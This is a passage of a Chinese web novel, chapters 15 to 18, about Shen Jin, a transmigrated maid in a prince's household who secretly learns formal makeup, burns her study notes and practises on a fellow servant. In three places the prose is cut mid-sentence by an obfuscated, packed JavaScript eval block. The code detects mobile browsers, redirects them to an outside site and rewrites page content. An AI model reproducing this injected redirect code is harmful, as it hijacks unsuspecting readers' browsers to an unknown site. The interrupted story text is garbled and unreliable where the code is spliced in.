再随便用袖子一抹嘴,嘟嘟囔囔地抱怨着起了身出门去找主子告假: “哎哟,真难受啊,这起大早的,老婆子我可真受罪。” 顶着外面的冷气,金嬷嬷心里越发的不愿意,还没走出东角屋的院门,就抱怨了好几句。 “要不是为了三两银······,咳嗯,我是说,为了你。知道吗,娘受这冷罪,都是为了你!” 金嬷嬷死鸭子嘴硬,明明惦记的是钱,还要扮好人,道德绑架似的打压瑾姐儿。 “娘辛苦了,女儿知道的,娘路上慢些走。” 沈瑾笑了笑,没把养母的抱怨当一回事。随口敷衍了两句回话,便施施然地站在院门口等着送她出门。 一工具人,跟她计较什么呢,反正和她待不了多久了。只要她好好充当盾牌的角色,沈瑾可以睁一只眼闭一只眼。 金嬷嬷看这样子,实在是没台阶下,便只能撇撇嘴,满脸不开心的往大夫人院子走了。 主子们向来享受,这个点,大夫人还没起。金嬷嬷站在大夫人院子里吹了好一会儿冷风,才得来内院婆子传递的一声‘大夫人允了。’ 告了假,冻得不行的金嬷嬷,缩着脖子,往自己的老朋友佟婆子那去了。 去城外大庙,得有车才行。 那庙在郊外的山上,远得很,单凭她自己腿着去,走到天黑都走不到。 佟婆子,经常和金嬷嬷一起喝酒聊闲、嚼舌根,认识好多年了。 两人都是年轻的时候就在这王府里干活,金嬷嬷是大夫人王氏带过来的陪房,而佟婆子是王府自行采买进来的粗使丫鬟。 不过早年间的佟婆子,略有那么一点姿色,再加上年轻,便勾了王爷身边的车马管事,趁机嫁了人,成了管事娘子。 于是在王府的车马调度上,她有点小小的、偷摸的私权。 王府里的下人们,若是想办点自个儿的事,那肯定不能用府里的车马的。 但凡事都有说头,更何况这王府里下人几乎都不成规矩。 所以,金嬷嬷若想用车,还得去找这个老朋友。 走了一会,才到佟婆子的家门,她住的偏些。 天更冷了,金嬷嬷嘴里直冒白气,打了个寒颤,手缩在袖子里,握成拳赶紧捶了捶门。 幸亏佟婆子今天起得早了一些,要不然她又得在门外等。 “哎哟,佟歪瓜,你可开门了,快给我弄一辆车,我得赶去城外那大庙去。” 金嬷嬷见门一开,便立刻挤进了屋。 “咋回事啊,怎突然要去庙里,遇上啥不好的啦?” 物以类聚、人以群分。 佟婆子也是迷信的,脑子里都是些神神鬼鬼的东西。一听要去大庙,就立马想到妖怪作乱之类的。 “唉,还不是我那女儿,非要去梳妆房。花了我不少钱不说,如今又要参加选拔,当姑娘梳妆陪嫁。我这不赶去庙里给她拜拜嘛。” 说得好听,其实哪有‘为了她’,都是为了钱罢了。 “反正都要进姑娘院子,当初干嘛好好的春娘院子不进,管库房多舒服,哪用得着现在这般折腾。” 金嬷嬷说着说着,心里越发的不愿意,翻了个白眼。 “小丫头们都是这样,不懂得咱们的良苦用心。” 不过是吃酒聊闲的狐朋狗友,虽然认识的时间长,但都是塑料友谊。 佟婆子压根就不在乎什么女儿梳妆房的,听见金嬷嬷因为养女折腾而受罪,反而心里有些幸灾乐祸。 她知道金嬷嬷爱财,便故意说: “哎,你准备好银钱没?去城外大庙拜菩萨,可是要香火油钱的。” “啊!?什么,还要钱?” 进了屋,暖和着的金嬷嬷本来舒舒服服地靠在凳子上,一听这话,惊得直跳起来,眼睛都瞪大了。 好家伙,耗了二两银子的礼不说,现在还要钱! 真是造孽啊,我怎么就捞了这么个赔钱玩意儿。 但她又不敢怀疑佟婆子,毕竟佟婆子嫁给了车马管事,是王府里少数可以随意出府的下人,见多识广。 就连这城外大庙,也是佟婆子告诉她的。 想必佟婆子不会骗她,况且给菩萨上香火钱,也是应该的,礼多菩萨不怪。 金嬷嬷一脸苦色,纠结得很,心疼得直抚胸口。 佟婆子看着,优越感爆棚,得意的嘴角压都压不住,只好拿帕子捂住嘴,闷声说: “你要车马嘛,没问题,你知道我男人是府里的车马管事。不过······” 佟婆子眼珠子一转,她可不想费那么多心思安排个好车给金老货,平时吃酒,这老货都不请客,抠得要死。 “你懂得,府里的规矩,咱们下人是用不得车马的。不过,你我的交情,自不必说,我定给你备一辆。” “只是这高头大马的好车是没有了,只一辆我男人自用的驴车,你看行否?” 这驴车根本不是她男人自用的,只是放在马厩里落灰、破破烂烂、府里主子都不愿用的旧车,还很小。 佟婆子这样说,纯属故意,谁叫金嬷嬷平时特别小气。 但她说的,又句句都符合明面上的王府规矩。 好的马车,向来是给主子们用的,哪怕没有主子叫车,也得放在那儿备用等着。 怎么可能随意给下人使用。 只有那不用的、主子想不起来的旧车,才可能偷偷借出去。 这是实打实的阳谋,叫金嬷嬷有苦难言,还不得不感谢她。 金嬷嬷心里很不服气,但眼下又找不到其他车子,花钱去外面租一辆,是万万不得行的。只能哑巴吃黄连喽。 “也行,给整个干净点的就行,待我回来了,再和你吃酒。” 金嬷嬷讨好地冲着佟婆子说。 好在最后牵过来的驴车还不算太脏,勉强能用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876043|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驴也是喂过的,不用金嬷嬷自己出钱买草料。 驾着破驴车,金嬷嬷便从后侧门出了府。 去城外,走的官道,会路过市集。 金嬷嬷坐在车上,伸出头去,看见市集人挤人似的,想起了刚才佟婆子说的,给菩萨上香,要准备油钱。 一想到要花钱,她心里就跟刀剜似的疼。 但她最是敬畏神仙,这钱不敢不花。 只好,调转驴车,到市集的小摊上,买了两把香。 菩萨的香火有了,但伺候菩萨的僧人还没有东西呢。 金嬷嬷想了想,又拿了一套僧袍,但僧袍不便宜,得花她不少钱。 已经买了香,还要再花一大笔钱买僧袍,金嬷嬷后悔的肠子都青了。 再加上,在心里,金嬷嬷早就把当初给宋娘子送礼的那二两银子算做了自己的钱,心疼的不得了,哪还愿意再花钱? 于是立刻放下僧袍,挑了旁边的僧帽,做工粗糙,但胜在价格便宜,只要十个铜板。 买完了去大庙的礼,金嬷嬷压根不想再在这地儿待着了。 脚步飞快地蹿上驴车,一刻不停地连忙跑了。 仿佛后面有吞金的巨兽张着大口要吃她。 驾着驴车,就往城外猛奔去,车鞭子都甩出了火星儿。 ······ 花开两朵,各表一枝。 这边,亲眼目送养母离开王府,又站在后侧门等了一会儿,百分百确认养母不会再折返回来后,沈瑾便微微低下头,隐藏住自己的表情。 专门挑无人的小路,躲在阴影里,一路上尽量不碰着人,快步走回东角屋。 进东角屋前,沈瑾还细心地看了看周围,确保无人尾随跟着。 这才关了角屋的门,还特地上了锁。 进了屋,也没放松警惕,先是在屋里转了一圈,边边角角都检查了一遍,确定屋里只有她一人后,才稍微松了一口气。 转身走到西面墙边。 沈瑾刚伸手搭在西面的衣柜上,就飞快的缩来回来,突然想到了什么似的。 沈瑾立刻抬头看了看,旁边的木窗子,视线认认真真地在窗外转了一圈。 想了想,出于谨慎,不怕一万就怕万一。 沈瑾还是把窗户关上了,紧紧地扣住。 一切都弄安全稳妥以后,沈瑾才重新推开雕花的大衣柜子。 衣柜里装了很多衣物鞋袜,比较重,成年女子都要使挺大力气才推的动。更别说,沈瑾这具十岁小丫头的身体了。 自然是使出了吃奶的劲儿。 但这也有个好处。 那就是安全,被发现的几率小。 被发现什么呢? 当然是柜子底下的墙角缝里的老鼠洞啦。 前面提过,这个废弃的老鼠洞,是原主瑾姐儿以前发现的,这些年存的钱都藏在里面。后来,沈瑾穿越过来,在一次打扫卫生的时候,无意间发现了。 沈瑾比较细心,刚穿过来,又挺想熟悉环境,就打扫得非常仔细,一个角落都没略过,连柜子都推开来,扫底下的灰。 这样才阴差阳错地发现了瑾姐儿的秘密藏宝地儿。 16. 第 16 章 里面的银钱,总共差不多二两银子。 这钱连带着沈瑾给二小姐画妆得来的赏钱一起,凑了二两整,买了礼,送给宋娘子,换了学正妆的机会。 这个机会,沈瑾没浪费。 她学得可认真了。 每逢宋娘子教画正妆,沈瑾都会拿张纸,边看边学,做笔记。 笔记是当着宋娘子的面写得,时不时的,宋娘子还会假借检查学习成果的名义,查看沈瑾的笔记。 纸上自然不会有什么高深精妙的内容,要不然就暴露了沈瑾真实的画妆水平。一旦沈瑾表现得聪明、学得快,那可就麻烦了,肯定会扎了宋娘子的眼。 宋娘子怕她超过脂奴,在教学的时候就会藏一手,甚至会故意误导她。 景朝是历史上不存在的古代王朝,很多形制与现代不同,无法参考沈瑾以前所在的时代历史。 在封建王朝,形制规矩又是重中之重,轻易马虎不得。 所以沈瑾必须藏拙,表现得比脂奴笨、学得慢,这样才能打消宋娘子的疑虑、防备之心。 她才能继续跟着学习景朝的正妆形制。 继而顺利进行‘90天救命计划’。 虽然纸上没有记载什么关键内容,但沈瑾的脑子里却全是重要步骤。 宋娘子教学时的每一步,哪怕只是一个轻微的小动作,都如同石刻般深深地印在沈瑾的脑海里。 这就是沈瑾的天赋! 沈瑾在画妆上的本事一骑绝尘,任何妆容,只要看一遍,就能学会。 所以,即便是上课时因为自保,需要伪装,下值回到东角屋后,沈瑾也会重新再拿毛笔在纸上把白天学得正妆步骤写下来。 与宋娘子教得,丝毫不差。 复习结束后,沈瑾就把纸藏在衣柜下的老鼠洞里。 这个老鼠洞还挺好的。 隐蔽、位置出人意料,不容易被发现,还很干燥,不会打湿纸张。里面也没有老鼠的痕迹,估计是个废弃的洞穴,也不会有老鼠啃食纸张。 用来存放重要物件,极好。 不得不说,原主在这方面的眼光还是很好的。 反正拼死拼活去都城、调查真相,这些事情都和原主有关,那沈瑾也不矫情了,毫不客气地直接拿过来继续用。 以前存钱的,现在变成了存纸的。 也正因为如此,这些笔记,绝对不能被人发现。一丁点危险都不能有。 过去的那些日子,她跟着宋娘子学画妆,积累了不少笔记。 如今,她正妆都形制都已经学得差不多,规矩基本已了然于心,这上面的东西,她也早就背得滚瓜烂熟。 便寻了个火折子,把这些纸张笔记,放在盆子里点火烧了。 烧剩下的灰,也戳散了,混点泥土,倒在了院子角落,还用枯叶盖了盖。 被灰弄脏的盆子,也洗干净了,倒扣在门边晾着。 一切痕迹都清理干净,扫尾工作圆满完成后,沈瑾才彻底放下心来。 把窗户、门都打开,通风透气,散掉屋里烧纸的烟味。 虽然藏在老鼠洞里也不错,但还是有可能被发现。 万一屋里哪天进了贼,翻箱倒柜的,把这些纸张翻出来了,咋整? 如果老鼠又重新回到洞里,把笔记纸啃的到处都是,甚至还带到别的地方,被人看见了,咋整? 亦或者,哪天金嬷嬷心血来潮,非要挪动柜子,怎么办? 种种因素,都是暴露的风险,而如今的沈瑾,担不起任何失败的可能。 综合考虑,只有把纸都烧掉,才是最稳妥的。 毕竟,不存在的东西,才不会说话。 她知道宋娘子教她的时候不尽心,教的正妆都是普通级别,拿手的压箱底正妆没有教。 人心都是偏的,宋娘子心里也在算计和提防,都是为了脂奴考虑。 担心万一沈瑾食言,前面说好的又不认了,偷摸抢了脂奴的前程。 沈瑾不怪她,人心隔肚皮,谁知道谁心里到底怎么想。 但是普通的正妆,画出来的效果,没有那么惊艳,等级不高,贵族大户自然不会优先选择它。 但沈瑾也不是死板的人,化腐朽为神奇,她最拿手了。 这些日子,她没少琢磨景朝正妆的形制,颇有心得。 正妆的画法,不一定要完全守旧。 只要在形制里,就不算逾矩。 每个正妆都有其特定的要求,比如会见比自己高一级的诰命夫人,眉眼间的色彩便不能太鲜艳,红黄粉,都是不行的。 沈瑾的妆艺虽妙,但从不小瞧任何一个妆容。 也不小看他人。 先不说宋娘子人品怎么样,就单论她的画妆手艺,是很不错的,要不然也不会被大夫人看中,带到楚王府来,还管理着一整个梳妆房。 沈瑾跟在她身边,看她画妆,学到了很多小细节,也算是拿到了景朝世家贵族画妆的入场券。 比如楚王府,要是举办宴会,大夫人王氏让画一副妆容。 宋娘子就会提前打听好,举办的是什么类型的宴会,宴会体量大小,来多少人,宾客都是什么身份,男客还是女客。 然后再根据宾客的喜好禁忌,身份地位,列个单子。 眉型画什么样的,底妆用什么色彩,唇脂涂什么风格。 若是一般的女客,眉形就往高了画,要的就是主人翁的气场,唇脂也用鲜艳的,凸显地位,压住对面。 若是贵客,不论男女,都要画平和的眉,显得气质清雅端庄,但不能太低,眉尾过低,则气势弱,与身份不配。 若是普通男客,便注意眼尾不可画上翘线,否则坏了端庄的仪态。 黑白、彩灰、胭脂、水粉,甚至连香味,都是有讲究的。 整套妆容,分不同的等级。 正妆和普通妆容。来了贵客,自然要画正式妆容。 而普通客人,就用不着了。 前些年,楚王最宠爱的小妾,邀了自家哥舅来吃席,给自己庆生。楚王色欲熏心,不管不顾地下令,大夫人必须出席,王氏就让画的普通妆容待客。 吃完席,转头就采买了几个漂亮的瘦马,塞给楚王,随后便把那个小妾发卖了。 正妆和普通妆容,差别很大,不仅差着步骤、颜色,更差着样子。 普通妆容是没有那么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876044|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手法的,简单描描眉、涂涂唇膏、刷刷粉就行了。 颜色也是爱怎么画,就怎么画,样子看着一点也不隆重。 二小姐平日里,不出门的话,就是画的普通妆容。 还有画妆用的刷子、胭脂水粉,正妆都用上等的兔毛软刷,刷的粉又工整又细滑。胭脂、唇彩、螺黛,都是用的都城来的时兴货,普通妆容可用不着这些,没有这么多讲究。 两者,只有搽脸的面脂,是一样的。 用高级面脂,为了保护脸上的皮肤,不受劣质粉彩的影响。 这里面的门道很多,宋娘子教的时候,她都牢牢地记在心里。 梳妆娘子也不是那么好当的,做任何行业都不轻松,即便是现代美妆赛道,也不是随随便便就能闯的。 但对沈瑾来说,不是问题。 弄完纸张笔记的事,沈瑾便关了东角屋的房门,抓紧时间赶去梳妆房。 这些日子,在宋娘子手底下学习,除了当初送的那二两银子的礼,平日里当然还要有眼力见地孝敬些东西,这叫人情世故。 东西不贵、量也不大,零零碎碎的,但加在一起,也要花不少钱。 再算上她自己日常的花销,手里没攒下多少银钱。 杂七杂八的,加起来,不过一百个铜板。 这些钱,在沈瑾看来,太少了。 马上,梳妆选拔,就要来了。 但凡会点画妆的小丫鬟们,都在私底下练习,打算卷死对手。 沈瑾虽然在梳妆房上工,可以拿不要的脂粉废品练手,但毕竟是上工,总有很多活做,哪来那么多时间专门练习。 下了值,又不允许再用梳妆房里的东西画妆。 学了正妆,但不练习,是会手生的。 所以,沈瑾打算自己买一些胭脂水粉回来,夜里练习。 但光靠这点子钱,哪够啊,难免捉襟见肘,以后还有要用钱的地方呢。 钱在文明发达的现代社会都无比重要,更何况这古代? 尤其在下人圈子里,钱是最重要的。 底层比上面更现实,更冷血,也更讲利益。 哪哪都要钱,学手艺、进院子、借个车、就算是一起喝点小酒,都要你算我的钱,我算你的钱。 银子,就是这里的通行证。有钱,人人都敬着你,没钱,你算个屁。 沈瑾,早已看明白。 所以,她不打算死皮赖脸的去蹭,去求人。因为,没钱,就十有八九求不着。 她打算靠自己的本事吃饭。 虽然没钱,买不了胭脂水粉练手,但她有一手的画妆好技术。 王府里各院的小丫鬟们,但凡有需求,都会是她的定向目标。 小丫鬟们都是人,是人就会有想变美、要画妆的时候。 在景朝,一般找梳妆娘子画妆,都是自备妆品。所以,沈瑾在给其他小丫鬟画妆时,顺道就可以用那些脂粉练手了。 小丫鬟的要求不高,态度也都还和谐,没有什么掉脑袋、挨骂、受处罚的风险。 她沈瑾敢保证,绝对不会把人画丑,所以也不存在什么客户纠纷。 这样一来,简直两全其美。 17. 第 17 章 至于选谁当第一个开头的客户呢? 沈瑾这一上午,除了仔仔细细做自己份内的活以外,其他的空暇时间都在思考这件事情。 俗话说,开头开得好,事半功倍啊。 谁不想讨个头彩呢。 开门红多吉利。 第一个客户,必须得有点影响力,这样才能为她带来后续客人,练手的机会大大增加,一个相当于好几个。 用现代的话说,就是长尾效应、明星流量。 但不能太有名气,要不然一下子就把她全部凸显出来了。 人怕出名猪怕壮、枪打出头鸟。 她现在还只是一个小丫鬟,若是太高调显眼,必然会被针对。 倒不是沈瑾有什么错,而是人心险恶。 嫉妒是最防不胜防的暗箭,总在你不知道、看不见的背后捅你一刀。 都是丫鬟婆子,凭什么就你变好起来了? 一个丫鬟,凭什么比主子还出风头? 而且,她的救命计划,最关键的步骤就是进入小姐的院子,跟着陪嫁队伍去都城。 这一步最重要,但也最脆弱。 可以说,是沈瑾的软肋。 事以密成。 一旦泄露,很容易被人暗地里搞破坏。 在没完全尘埃落定以前,她要低调闷声发大财。 所以,人选得好好找。 她现有的关系网里,叶果最符合要求。 二姑娘的贴身大丫鬟,有点地位。关键是人好,不会做那什子害人的事来针对她。 两人也熟悉,叶果亲身体验过她的画妆技术,在这方面,很信任她。 沈瑾决定,就是她了! 打算午时下了值,买点果子蜜膏,就去叶果房里跟她说这个事儿。 可没曾想,距离午时还差一炷香的时候,梳妆房外面就传来了隐隐约约的声音,喊着她的名字: “瑾姐儿,这里,看这里!” 沈瑾往外面看过去,就瞅见叶果正躲在梳妆房外面的假山石后面,露出半个身子来,冲着她招手。 沈瑾愣了愣,一时觉得有点惊讶又有意思。 上一秒还在念叨着呢,下一秒叶果就出现在她面前了,简直像电影桥段一样。 好笑得很。 沈瑾抿了抿唇角的笑意,偷偷给叶果回了个手势,示意知道了,稍等一下。 又悄悄转身,看了宋娘子一眼。 看见宋娘子不忙,便趁机走上前去轻声说: “宋娘子,我活儿都做完了,想向您告个假,早点回去给我娘带饭吃。” 沈瑾礼貌地笑了笑,不管宋娘子同不同意,礼数反正先是做全了,是断然不能在这上面挑刺的。 “没问题,不用请假,活做完了就先回去吧,多歇歇。” 宋娘子这次甚是好说话,一点都没有为难,爽快地点头同意了。 倒不是因为别的,只不过沈瑾早点走,正好合了她的心思。 马上就是府里的梳妆选拔了,宋娘子想多教点技巧给自己女儿脂奴,可万万不能让沈瑾学了去。 再者,梳妆房里有现成的好料子,胭脂水粉、画妆工具是从都城里运过来的上等货。 宋娘子可以拿梳妆房里的这些上等脂粉,给脂奴练手。 想要在梳妆选拔上获得主子的青睐,自然要画主子喜欢的妆容、用主子爱用的脂粉。 现成的捷径在眼前,怎么可能抵挡的住诱惑? 只要让脂奴天天用府里给大姑娘准备的脂粉练手,到时候考场上自然能熟练画妆。 宋娘子作为梳妆房的管事娘子,手里还是有点小小的权力的。 每季度上报采买损耗的时候,加几笔小数目,不成问题。 只要没人检举,就能浑水摸鱼地混过去,上面的主子也睁一只眼闭一只眼,当做给下人的油水,让她们办事尽力。 但若是被人举发了,把事闹到明面上去,那就不行了。即便是轻拿轻放,也要杀鸡儆猴、以儆效尤。 打板子是少不了的,罚钱也是必须的,严重的甚至还要赶出府去。 这事当然不能被他人看见发现。 沈瑾这时候早些走,还好些,一点问题都没有。宋娘子满意得很。 所以才答应得这般爽快。 平时沈瑾总是早来迟走,每次宋娘子母女俩都要等沈瑾离开了,才能偷偷做这件事。因此两人最近天天都在梳妆房熬着,不能按时下值,都熬出黑眼圈了,缺觉得很。 以前,宋娘子很满意沈瑾的勤快,但那是以前,现在是要比赛的关键时刻,巴不得沈瑾早点走,越早越好。 但这事又不能直接说出来,可把宋娘子憋了个好歹。 今天总算如愿了,她沈瑾总算是早走了一回。 宋娘子恨不得放鞭炮庆祝,心里简直拍手叫好。 沈瑾听到这般爽快的回应,惊讶得抬了一下眼皮,但很快就敛了神色。 她其实知道为什么,很简单就猜出来了。 她不是几岁的小丫头,在现代,她摸爬滚打,在你争我斗的博主赛道走出头,早就练就了一副细心思。 每天她早来,都会在梳妆房转一转,看看里面的情况,昨日今日的材料进出花销数量,她都心里有数。 以前还好,在正常损耗范围内,近日却大幅度波动,再结合宋娘子母女俩这几天睡眠不足的模样,一切就都水落石出一清二楚了。 在查看材料的同时,她还会把梳妆房的大门窗户都敞开,不留任何视线死角。好叫外面路过的人,都看见她在做什么,免得给人留下栽赃陷害的空间。 别小瞧这一开门的举动,也别以为大清早的外面没人。 这王府里,眼睛多着呢。 这样一来,即使东窗事发,宋娘子也休想把污水泼到她头上。 心里有成算,也有应对最坏情况的招数,沈瑾就不深究宋娘子的内心想法了。 只说了一声,便收拾好东西,离开梳妆房,向叶果藏身的假山石走去。 “叶姐姐,近日可好,好几天没跟姐姐说话了,若是有空,我们去吃蜜果子,可好?” 沈瑾脚步轻快地走到假山石前,笑着打了个招呼。 叶果没有立刻回话,只是先眨了眨眼,从身后推了一个小丫鬟出来。 这个小丫鬟,穿着三等粗使丫鬟的麻布衣裳,低着头怯懦得不敢说话。 刚才大抵是躲在叶果身后,所以才没有看见她。 “瑾妹妹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876045|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是咱们小姐院子里的粗使丫鬟,她今天要回家里探亲,想让自己看起来好一些。” “她没有存多少钱,请不起外面的梳妆娘子,我们院子里又没有其他会画妆的姐妹,所以······能不能拜托你······” 大概是觉得这样算是白嫖,叶果很不好意思,结结巴巴地说不出一句完整的话来。 场面一时有点尴尬。 沈瑾一点也不介意,反而还有点高兴,连忙答应: “可以的,叶姐姐,你的妹妹就是我的妹妹,我一定把她画得满意!” 这个粗使丫鬟估计是和叶果关系好,要不然凭叶果的性子,绝不会在上值的时候跑过来打扰她,还开口请她帮忙化妆。 这是用人情跟沈瑾换呢。 沈瑾瞟了一眼,果然,那小丫鬟腰上挂的手绢,是叶果惯常用的样式。 听到沈瑾这么说,两人惊喜地抬起了眼睛。 叶果高兴地抱了沈瑾一下。 “好妹妹,我定不会让你吃亏的,我有一些银钱······” 沈瑾不等她把话说完,就立刻打断了: “叶姐姐,咱们之间不谈那钱的银子的,姐姐待我好,我便真心帮姐姐。” 叶果看都这样说了,也不继续提银子的事了。只欢喜地推了一把身旁的粗使丫鬟,示意她上前感谢。 小丫鬟大概是性格内向,嘴唇嚅动了半天,吭哧吭哧地说不出几个音节,只满脸羞涩,感激地看着沈瑾。 “她就是性子太沉闷了,你别介意。好妹妹,你现在方便吗?能中午就画妆吗,她今日个下午就得离府。” 叶果看小丫鬟老半天不说话,扭扭捏捏的。便赶紧插话解围。 沈瑾当然不介意。 “好说,我今天就晚些再用午饭。先给妹妹画妆吧。” “太好了,谢谢瑾姐儿。就去我房里画,胭脂水粉什么的都有。” 说完,叶果便主动挽起沈瑾的胳膊,三人一起回院子去。 走回去的路上,叶果没有再多说什么,只是嘴角压不住的笑意,透露了好心情。 还时不时的用余光看一看沈瑾,一副庆幸又开心的满意表情。 ‘有瑾姐儿在,真好。希望她顺利通过梳妆选拔,来小姐院子里和我作伴。’ 叶果心里想。 路程不远,很快就到了叶果的房里。 一进屋,叶果就倒了碗蜜酿奶,又端了盘酥果子出来,热情地招待沈瑾坐在椅子上。 然后麻利地从箱笼里寻出了画妆用的工具和脂粉,按照上次的样子,一字排开,在圆桌上摆好。 “瑾姐儿,你先吃喝着,不急。我带她去洗洗脸,换个回家的衣服。” 其实挺急的,但叶果和小丫鬟都不好意思催着沈瑾干活。 她们性子挺好的,不像其他人,巴不得占便宜,一点好都不想你有。 沈瑾知道,所以也投桃报李。 “没事的,我先画,好让妹妹早点回家。等画完了,我和叶姐姐一起坐着慢慢吃喝。” 叶果听了,感动的泪眼汪汪。 二小姐不受宠,连带着她也在府里受气,经常被那些婆子欺负。 这样舒心的待遇,可不经常有。 18. 第 18 章 沈瑾性子不拧巴,说干就干。 立刻撸起袖子,折叠好垫手的毛巾子,拉过小丫鬟,便开始画妆。 小丫鬟的脸很干净,虽然因为长年干粗活,皮肤不细嫩,但没有尘土和油渍。 一上手,就摸得出,脸是洗过的。 沈瑾可以说是画妆界的老人了,这点,还是能发现的。 所以很显然,刚才叶果说带她去洗洗脸换衣服什么的,只是托词罢了,不想催着沈瑾。 沈瑾心里划过一丝感动。在这陌生的古代景朝,她感受到了人与人之间最纯粹的暖意。 她是个女强人,没错,但是一朝猝死,凭白穿越到这个完全不知道的朝代,在陌生的世界举目无亲,甚至要担心暴露什么不该有的事情,每天都神经紧绷。 有时候,细小的好意,却是艰难生活中,闪亮的光芒。 沈瑾决定,这次的妆容,一定要画出最高水准。 先是根据小丫鬟的肤质,选取了水嫩质地的面脂,一点一点地推开、融进她的皮肤里。 粗糙翘死皮的皮肤,一下子就平滑起来了。沈瑾再往上补了点水,连最后一点边角也抚平了。 接着是彩妆,小丫鬟回家是想显得自己日子过得很好,让家里势力的爹娘亲戚们,高看她,不欺负她。 所以,这次的颜色当然得往鲜艳靓丽了画。沈瑾当机立断,挑选了生机勃勃的鹅黄色,分层次、先后批次,一点一点地涂在眼影部分,刷出了由浅入深的渐变效果。 最后再在眼尾用大红色勾勒出上翘的眼线,画出气场十足的眼型。整个眼妆部分就搞定了。 胭脂和唇彩也选了配套的红色系,主打水嫩光泽感,看起来很有生机,一看就是过得很舒坦的样子,在府里没吃过什么苦。 这样足够忽过那些没见识的亲戚了。 沈瑾满意地点点头,最后用大刷子扫了扫余粉,定定妆,便放下了工具。 “好啦,妆画完了,相信我,你绝对好看的艳压全场。” 沈瑾略有一点小得意地拍了拍叶果的肩膀。 “你说是吧,画得可好看了。” “是的!太好看了!瑾姐儿,你的手艺真是绝了,每次看都让我好佩服。” “这下,我看那些势利眼的家伙都得来讨好我妹妹了。” 叶果骄傲得抬起下巴,显然特别满意。一边说还一边往小丫鬟手里塞了一个铜镜子,让她也瞧瞧。 小丫鬟才看了一眼,就激动得站起来了,镜子都拿不稳,眼里满是惊讶和浓浓的欣喜。 她不敢相信,这么好看的竟然是她的脸。她颤抖地伸出手抚摸自己的脸颊,眼里隐约渗出些泪花。 “哎哎哎,别哭,哭花了妆就白画了,赶紧去换衣服收拾东西,待会就得离府啦。” 叶果一把掐住小丫鬟即将哭出的泪花,赶紧哄她回房间了。 转头准备给沈瑾道谢,才发现沈瑾已经洗好手,正坐在桌前吃蜜果子呢。 “叶姐姐,别愣着啊,来呀,一起吃,这奶酿真好喝。” 沈瑾毫不客气地拿起果子就往嘴里塞。 因为她实在是太饿了。今天一大早就起来了,先去早市给养母买吃食,又忙活着亲自送养母出门,还要绷紧神经烧掉笔记,再匆匆忙忙地去梳妆房上工。 好不容易熬到中午,饭也没吃,就先来这里画妆了。 沈瑾饿得也不管优雅了,一边吃一边朝叶果招手。 “唔,真好喝。” 叶果看着这般自来熟的沈瑾,简直哭笑不得。本来还有点拘谨的,想着会不会太麻烦沈瑾了,没想到她这样亲近自己。 叶果放松地笑了,最后一丝隔阂彻底烟消云散,心里也跟沈瑾更亲近了,特地坐在沈瑾身旁的位置,和她一起吃起果子来。 “瑾姐儿,你手艺这般好,应该让大家都称赞你。不介意的话,我跟我的小姐妹们都宣传宣传你,让她们都找你画妆去。” 瞧瞧,瞧瞧! 心底好的人,就是懂得回报。都不用沈瑾开口,叶果就自动为她铺好了路。 “那就再好不过了,谢谢叶姐姐为我好。” 得来全不费工夫,本以为还要磨一番嘴皮子,哪曾想遇到了这么好的叶果。 解决了比赛前的练手问题,沈瑾心里也放下了一块大石头,有说有笑地和叶果吃喝起来。 吃完,沈瑾赶着时间离开了院子,去梳妆房上工。 天气越来越冷,虽然还没下雪,但也快了。 冷天儿里,主子们都没什么社交需求,赏花宴、游园会之类的也不怎么举办,因此也不经常喊人去画妆。 梳妆房今天就没有太多活可干。 沈瑾一边把自己手里的活干好,一边摸鱼想着下一个丫鬟找谁练手。 摸鱼发呆的时间总是过得特别快,转眼就到了傍晚下值的时辰。 余光瞥到宋娘子母女俩渴望的目光,沈瑾再一次主动上前,申请早点下工。 当然,没有任何阻碍。 沈瑾拍了拍裙子上沾着的脂粉,就起身回东角屋去了。 路上,摸摸咕咕叫的肚子,又抬头看看天色。 晚霞满天。 估摸着,金嬷嬷还要一会儿才能从城外大庙赶回来。养母这个人可心疼自个儿了,绝不会饿着她自己的肚子的,所以这个点儿,肯定已经在外面馆子里吃了。 今天就不用端着饭,穿过重重冷风,等着养母一起吃饭啦。 沈瑾小小地蹦跳了一下,有点小兴奋~ 今天大厨房里的菜是豆角炒蛋、包菜炒粉丝和豆腐肉沫汤。 芜湖~~~菜色不错哦,寒冬天里,来一碗热汤最舒服了。 冬天里,总是黑得很快。绕道去大厨房吃了晚饭,出来,天便已经完全黑了。 刚才还是黄昏夕阳呢,现在就已经刮起寒风了。 夜里的北风比白天冻人得多,沈瑾裹紧了衣领,快步冲回东角屋去。 东角屋里,已经亮起灯,看起来就暖和。 果然,金嬷嬷已经回来了。 